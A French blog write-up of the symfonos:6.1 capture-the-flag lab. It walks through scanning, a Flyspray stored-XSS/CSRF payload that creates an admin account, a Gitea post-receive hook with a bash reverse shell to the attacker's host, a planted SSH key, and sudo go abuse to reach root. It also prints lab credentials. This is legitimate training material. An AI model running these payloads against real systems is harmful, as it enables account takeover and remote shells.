symfonos: 6.1, le dernier CTF de cette série, ne m’a pas déçu. Il était original tout en laissant peu de doute sur les actions à réaliser.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
Nmap scan report for 192.168.56.117
Host is up (0.00015s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 0ead33fc1a1e8554641339146809c170 (RSA)
| 256 54039b4855deb32b0a78904ab31ffacd (ECDSA)
|_ 256 4e0ce63d5c0809f4114885a2e7fb8fb7 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=e81eb32aa0c28c8a; Path=/; HttpOnly
| Set-Cookie: _csrf=bu3j7x7HDezW7m-0kNfMOsH93oM6MTY3NzA2NzAxNTUyMDEwNDU3Mw; Path=/; Expires=Thu, 23 Feb 2023 11:56:55 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 22 Feb 2023 11:56:55 GMT
| <!DOCTYPE html>
| <html lang="en-US">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Symfonos6</title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <script>
| ('serviceWorker' in navigator) {
| navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
| console.info('ServiceWorker registration successful with scope: ', registrat
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=9f8101b1a37d9282; Path=/; HttpOnly
| Set-Cookie: _csrf=1JAbwquMps8JP6GI39q7b40lvlc6MTY3NzA2NzAyMDU0NDg0NTcyMg; Path=/; Expires=Thu, 23 Feb 2023 11:57:00 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 22 Feb 2023 11:57:00 GMT
| <!DOCTYPE html>
| <html lang="en-US">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title>Page Not Found - Symfonos6</title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <script>
| ('serviceWorker' in navigator) {
| navigator.serviceWorker.register('/serviceworker.js').then(function(registration) {
|_ console.info('ServiceWorker registration successful
3306/tcp open mysql MariaDB (unauthorized)
5000/tcp open upnp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Wed, 22 Feb 2023 14:47:19 GMT
| Content-Length: 18
| page not found
| GenericLines, Help, Kerberos, LDAPSearchReq, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Wed, 22 Feb 2023 14:46:48 GMT
| Content-Length: 18
| page not found
| HTTPOptions:
| HTTP/1.0 404 Not Found
| Content-Type: text/plain
| Date: Wed, 22 Feb 2023 14:47:03 GMT
| Content-Length: 18
|_ page not found
J’ai choisi d’attaquer directement le port 80 et de laisser le port 3000 pour plus tard, ce qui s’est avéré être une bonne idée.
Amanite tue-mouches
Je trouve via énumération un dossier /posts
qui retourne une erreur 500 ainsi qu’un dossier nommé FlySpray
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ feroxbuster -u http://192.168.56.117/ -w fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt -f -n
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.4.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://192.168.56.117/
🚀 Threads │ 50
📖 Wordlist │ fuzzdb/discovery/predictable-filepaths/filename-dirname-bruteforce/raft-large-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.4.0
🪓 Add Slash │ true
🚫 Do Not Recurse │ true
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
403 8l 22w 210c http://192.168.56.117/cgi-bin/
200 1006l 4983w 0c http://192.168.56.117/icons/
500 23l 93w 943c http://192.168.56.117/posts/
200 21l 30w 251c http://192.168.56.117/
200 474l 1627w 0c http://192.168.56.117/flyspray/
[####################] - 16s 62260/62260 0s found:5 errors:0
[####################] - 16s 62260/62260 3854/s http://192.168.56.117/
Le FlySpray
en question est une appli de gestion de tickets (bugtracker): GitHub - flyspray/flyspray: Flyspray Bug Tracking System
Sur le ticket déjà présent on peut voir un certain Mr Super User
indiquer qu’il surveille de près l’issue.
Ca tombe bien car il existe une faille XSS dans Flyspray
: FlySpray 1.0-rc4 - Cross-Site Scripting / Cross-Site Request Forgery - PHP webapps Exploit
Le champ vulnérable est celui du real_name
quand on édite le profil d’un utilisateur. Si on y injecte du javascript il sera exécuté quand un utilisateur tombera sur un de nos messages.
Par conséquent j’ai créé un compte sur l’appli puis j’ai repris le code d’exploitation et l’ait placé dans un fichier adduser.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="http://192.168.56.117/flyspray/index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="hacker"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="12345678"/>'
txt += '<input type="hidden" name="user_pass2" value="12345678"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@root.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();
Ensuite j’ai édité le profil de mon utilisateur pour qu’il appelle mon code javascript :
Et finalement j’ai posté un commentaire sur l’issue. Cependant j’ai remarqué que le javasript nécessitait d’échapper un attribut HTML :
1
<div class="comment_avatar"><a class="av_comment" href="http://192.168.56.117/flyspray/index.php?do=user&area=users&id=2" title="<script src="http://192.168.56.1:9999/adduser.js"></script>">
J’ai changé ça et aussi choisi de fermer le tag en cours :
1
"></a><script src="http://192.168.56.1:9999/adduser.js"></script>
Cette fois ça n’a pas été long à tomber dans le piège :
1
2
3
$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
192.168.56.117 - - [22/Feb/2023 13:32:18] "GET /adduser.js HTTP/1.1" 200 -
Grace au code javascript je peux alors me connecter avec les identifiants hacker
/ 12345678
et profiter des privilèges admin, à savoir voir l’ensemble des tickets.
Capitaine Hook
Il y a en effet un autre ticket avec des identifiants :
FS#2 - self hosted git service
I have configured gitea for our git needs internally!
Here are my creds in case anyone wants to check out our project!
achilles:h2sBr9gryBunKdF9
Ces identifiants ne permettant pas d’accéder au compte via SSH car seule une authentification par clé est permise mais on peut les utiliser pour nous connecter au Gitea
sur le port 3000.
Il existe un exploit pour Gitea
mais il semble avoir été publié après que le CTF soit disponible, ce n’est donc probablement pas la solution officielle : Gitea 1.12.5 - Remote Code Execution (Authenticated) - Multiple webapps Exploit
Un peu comme sur les CTF comportant du Jenkins (voir Solution du CTF Jeeves de HackTheBox) où il fallait créer une étape de build sur un projet, ici nous allons créer un hook qui exécutera des commandes lorsque du code est poussé sur un projet Git.
Au lieu d’utiliser l’exploit, j’ai effectué les commandes moi-même. D’abord il faut créer le répo via l’interface web de Gitea
puis créer le répo local, définir le répo distant puis pousser :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ mkdir yolo
$ cd yolo
$ touch README.md
$ git init
astuce: Utilisation de 'master' comme nom de la branche initiale. Le nom de la branche
astuce: par défaut peut changer. Pour configurer le nom de la branche initiale
astuce: pour tous les nouveaux dépôts, et supprimer cet avertissement, lancez :
astuce:
astuce: git config --global init.defaultBranch <nom>
astuce:
astuce: Les noms les plus utilisés à la place de 'master' sont 'main', 'trunk' et
astuce: 'development'. La branche nouvellement créée peut être rénommée avec :
astuce:
astuce: git branch -m <nom>
Dépôt Git vide initialisé dans /tmp/192.168.56.116/yolo/.git/
$ git add README.md
$ git commit -m "first commit"
[master (commit racine) 6576b2c] first commit
1 file changed, 0 insertions(+), 0 deletions(-)
create mode 100644 README.md
$ git remote add origin http://192.168.56.117:3000/achilles/yolo.git
$ git push -u origin master
Énumération des objets: 3, fait.
Décompte des objets: 100% (3/3), fait.
Écriture des objets: 100% (3/3), 214 octets | 214.00 Kio/s, fait.
Total 3 (delta 0), réutilisés 0 (delta 0), réutilisés du pack 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://192.168.56.117:3000/achilles/yolo.git
* [new branch] master -> master
la branche 'master' est paramétrée pour suivre 'origin/master'.
Ensuite depuis Gitea
il faut aller dans les Settings
du projet, onglet Git Hooks
et définir un post-receive
avec ce code :
1
2
#!/bin/bash
bash -i >& /dev/tcp/192.168.56.1/7777 0>&1 &
Retour en ligne de commande où je fais une modification et pousse le code :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ echo "this is dope" > README.md
$ git add .
$ git commit -m "trigger that"
[master f20c3b3] trigger that
1 file changed, 1 insertion(+)
$ git push
Énumération des objets: 5, fait.
Décompte des objets: 100% (5/5), fait.
Écriture des objets: 100% (3/3), 255 octets | 255.00 Kio/s, fait.
Total 3 (delta 0), réutilisés 0 (delta 0), réutilisés du pack 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://192.168.56.117:3000/achilles/yolo.git
6576b2c..f20c3b3 master -> master
J’obtiens alors mon reverse-shell sur le port 7777 :
1
2
3
4
5
6
7
8
9
10
11
12
$ ncat -l -p 7777 -v
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::7777
Ncat: Listening on 0.0.0.0:7777
Ncat: Connection from 192.168.56.117.
Ncat: Connection from 192.168.56.117:53184.
bash: no job control in this shell
[git@symfonos6 yolo.git]$ id
uid=997(git) gid=995(git) groups=995(git)
[git@symfonos6 yolo.git]$ cd /home/git
[git@symfonos6 ~]$ cd .ssh
[git@symfonos6 .ssh]$ echo ssh-rsa AAAAB--- snip ---cT7Q== >> authorized_keys
Go go gadgeto shell
Cette fois le mot de passe h2sBr9gryBunKdF9
permet de se connecter en tant que achilles
via su
.
Cette utilisateur peut utiliser l’outil du langage Golang
en tant que root :
1
2
3
4
5
6
7
8
[achilles@symfonos6 git]$ sudo -l
Entrées par défaut pour achilles sur symfonos6 :
!visiblepw, always_set_home, match_group_by_gid, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
L'utilisateur achilles peut utiliser les commandes suivantes sur symfonos6 :
(ALL) NOPASSWD: /usr/local/go/bin/go
C’est certainement une vieille version car go mod init
n’est pas supporté ici.
J’ai écrit ce code Go
qui appelle bash en redirigeant les entrées / sorties :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package main
import (
"fmt"
"os"
"os/exec"
)
func main() {
cmd := exec.Command("bash")
cmd.Stdin = os.Stdin
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
fmt.Println("Failed to start bash:", err)
}
}
Et ça fonctionne :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[achilles@symfonos6 ~]$ sudo /usr/local/go/bin/go run gotroot.go
[root@symfonos6 achilles]# id
uid=0(root) gid=0(root) groupes=0(root)
[root@symfonos6 achilles]# cd /root
[root@symfonos6 ~]# ls
proof.txt scripts
[root@symfonos6 ~]# cat proof.txt
Congrats on rooting symfonos:6!
,_---~~~~~----._
_,,_,*^____ _____``*g*\"*,
/ __/ /' ^. / \ ^@q f
[ @f | @)) | | @)) l 0 _/
\`/ \~____ / __ \_____/ \
| _l__l_ I
} [______] I
] | | | |
] ~ ~ |
| |
| |
Contact me via Twitter @zayotic to give feedback!
Comme dit plus tôt, cette solution n’est sans doute pas la solution officielle.
@lasolutionofficielle
Quand on a accès au Gitea
on voit deux répos, l’un pour une API en Go et un blog en PHP. Les deux semblent communiquer mais surtout on remarque le flag /e
sur un appel à preg_replace
:
1
2
3
4
5
6
7
while ($row = mysqli_fetch_assoc($result)) {
$content = htmlspecialchars($row['text']);
echo $content;
preg_replace('/.*/e',$content, "Win");
}
Pour un exemple d’exploitation voir le CTF Nebula level 9
La solution décrite sur l’article http://ratmirkarabut.com/articles/vulnhub-writeup-symfonos-6-1/ consiste à utiliser l’API écrite en Go (qui écoute sur le port 5000) pour injecter du code PHP dans un post puis appeller le blog pour que preg_replace
exécute le code.
On obtient alors un RCE avec l’utilisateur apache
et on peut su
pour achilles
comme on l’a fait.
Sous le capot
Un petit coup d’œil au code qui simulait l’utilisateur de FlySpray
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3.6
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from time import sleep
import os
import re
chrome_options = Options()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--no-sandbox')
chrome_options.add_argument('--disable-dev-shm-usage')
driver = webdriver.Chrome(executable_path='/usr/local/bin/chromedriver', chrome_options=chrome_options)
interfaces = os.listdir('/sys/class/net/')
for i in interfaces:
if i != "lo":
interface = i
break
ipv4 = re.search(re.compile(r'(?<=inet )(.*)(?=\/)', re.M), os.popen('/usr/sbin/ip addr show ' + interface).read()).groups()[0]
while True:
url = "http://{}/flyspray/".format(ipv4)
print("URL: " + url)
sleep(3)
driver.get(url)
driver.find_element_by_id("show_loginbox").click()
driver.find_element_by_id("lbl_user_name").send_keys("achilles")
driver.find_element_by_id("lbl_password").send_keys("aqMeqTqVzYFjD2ak")
driver.find_element_by_id("login_button").click()
print("Logged in: " + driver.title)
sleep(3)
driver.get(url + "index.php?do=details&task_id=1")
print("Get hacked: " + driver.title)
sleep(3)
driver.get(url + "index.php?do=authenticate&logout=1")
print("Logged out: " + driver.title)
print("\nSleeping for 60 seconds...")
sleep(60)
Ça fait plaisir de voir quelqu’un savoir ce qu’il fait :)
Publié le 22 février 2023